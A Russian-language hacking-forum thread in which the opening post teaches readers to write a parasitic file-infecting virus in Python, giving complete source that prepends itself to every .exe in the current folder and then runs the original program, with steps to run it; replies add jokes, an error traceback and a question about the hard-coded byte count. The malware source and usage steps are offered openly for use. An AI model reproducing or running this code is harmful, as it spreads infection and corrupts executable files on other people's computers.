Загрузка...

Создаем вирус-паразит на Python: "Когда код начинает жить своей жизнью."

Тема в разделе Вирусология создана пользователем Nick26rus 2 ноя 2024. (поднята 16 дек 2024) 906 просмотров

Загрузка...
  1. Nick26rus
    Nick26rus Автор темы 2 ноя 2024 4 26 ноя 2019
    Приветствую всех причастных! Сегодня мы рассмотрим структуру паразитического вируса, его основные функции и узнаем, как этот код можно запустить.
    Установка Python

    Перед началом работы убедитесь, что у вас установлен Python. Следуйте этим шагам:
    • Скачайте Python Перейдите на официальный сайт Python и выберите подходящую версию для своей ОС.
    • Установите Python Запустите установочный файл и отметьте опцию “Add Python to PATH” во время установки.
    • Проверьте установку: В командной строке или терминале введите:

    Код:
    Код
    python --version
    Если установка прошла успешно, вы увидите номер версии Python.

    Классификация вирусов
    1. Перед тем как приступить к кодированию, рассмотрим основные типы HLLx-вирусов (High Level Language x — метод размножения):
    2. Оверрайтеры (HLLO): Простые вирусы, которые перезаписывают оригинальные файлы, уничтожая их.
    3. Компаньоны (HLLC): Эти вирусы маскируются под оригинальные файлы, заменяя их копиями.
    4. Паразиты (HLLP): Наиболее сложные вирусы, внедряющиеся в код жертвы и позволяющие программе жертвы продолжить работу.
    5. Здесь мы сосредоточимся на HLLP-вирусах, которые внедряются в исполняемые файлы и запускают оригинальную программу после активации.
    Код паразитического вируса
    Python
    import sys
    import os



    virPath = os.path.split(sys.argv[0])
    names = os.listdir('.')
    fvir = open(sys.argv[0], 'rb')
    virData = fvir.read(19456)



    for name in names:
    namePair = os.path.splitext(name)
    if namePair[1] == '.exe' and name != virPath[1]:
    os.rename(name, name + 'tmp')
    fprog = open(name + 'tmp', 'rb')
    progData = fprog.read()
    fnew = open(name, 'wb')
    fnew.write(virData + progData)
    fnew.close()
    fprog.close()
    os.remove(name + 'tmp')



    origProgData = fvir.read()
    origProg = 'original_' + virPath[1]
    forig = open(origProg, 'wb')
    forig.write(origProgData)
    fvir.close()
    forig.close()
    os.execl(origProg, '')
    Объяснение работы кода
    1. Импорт библиотек: Модули sys и os используются для взаимодействия с операционной системой и управления файлами.
    2. Получение пути к вирусу: С помощью os.path.split(sys.argv[0]) программа определяет путь к своему исполняемому файлу и его имя.
    3. Чтение вирусного кода: Открывается файл вируса в бинарном режиме, и читаются первые 19456 байт, которые сохраняются в переменной virData.
    4. Программа перебирает все файлы в текущей директории.
    5. Если файл имеет расширение .exe и не является вирусным, то:
    6. Файл временно переименовывается с добавлением суффикса tmp.
    7. Содержимое временного файла считывается, и создаётся новый файл: сначала записывается вирусный код, а затем данные из оригинального файла.
    8. Временный файл удаляется.

    Реализация вируса
    Шаг 1: Создайте файл с кодом вируса
    Откройте текстовый редактор (например, Notepad или IDE для Python).
    Вставьте приведенный код и сохраните как parasite_virus.py.

    Шаг 2: Создайте тестовый исполняемый файл
    Создайте текстовый файл с текстом, например, “Это тестовый файл.”
    Сохраните его с расширением .exe, например, test_program.exe. (Можно использовать pyinstaller для конвертации .py в .exe.)

    Шаг 3: Запустите вирус
    Поместите parasite_virus.py и test_program.exe в одну директорию.
    Запустите вирус с командой:
    Код
    python parasite_virus.py
    После запуска файл test_program.exe будет заражен.
    Надеюсь, вам нравится такой формат. Поддержите, и я буду делать еще больше подобных статей! :bowing:
     
    2 ноя 2024 Изменено
  2. TotalProgram
  3. mqwxz
    mqwxz 2 ноя 2024 MAKE LOLZTEAM GREAT AGAIN 15 729 28 окт 2017
    Сегодня же утром было или делитнули?
     
    1. Nick26rus Автор темы
      mqwxz, Та я случайно удалил)
  4. K4V0
    K4V0 2 ноя 2024 gbpltw // 14 337 22 янв 2017
    что за кринж :duck_hmm:
     
    1. Nick26rus Автор темы
      K4V0, Это червь*
  5. поздняков
    поздняков 2 ноя 2024 :muscle: 3.0 :muscle: 20 2 ноя 2024
    а как его убрать потом, у меня по квартире паразиты коричневые бегают, тут еще в компьютере
     
    2 ноя 2024 Изменено
    1. Nick26rus Автор темы
  6. batRat
    batRat 16 ноя 2024 0 16 ноя 2024
    Прикольно только у меня не работает:


    Traceback (most recent call last):
    File "C:\Users\admin\PycharmProjects\worm\main.py", line 41, in <module>
    os.execl(origProg, origProg) # Первый аргумент — путь к файлу, второй — имя файла
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    File "<frozen os>", line 577, in execl
    OSError: [Errno 8] Exec format error
     
    16 ноя 2024 Изменено
  7. Nmz
    Nmz 19 ноя 2024 45 31 июл 2023
    с таким на пентагон можно идти уверенно
     
  8. Towux
    Towux 1 дек 2024 1 26 апр 2019
    а почему именно 19456 байт?
     
  9. RoboMusk
    RoboMusk 2 дек 2024 3 15 ноя 2024
Top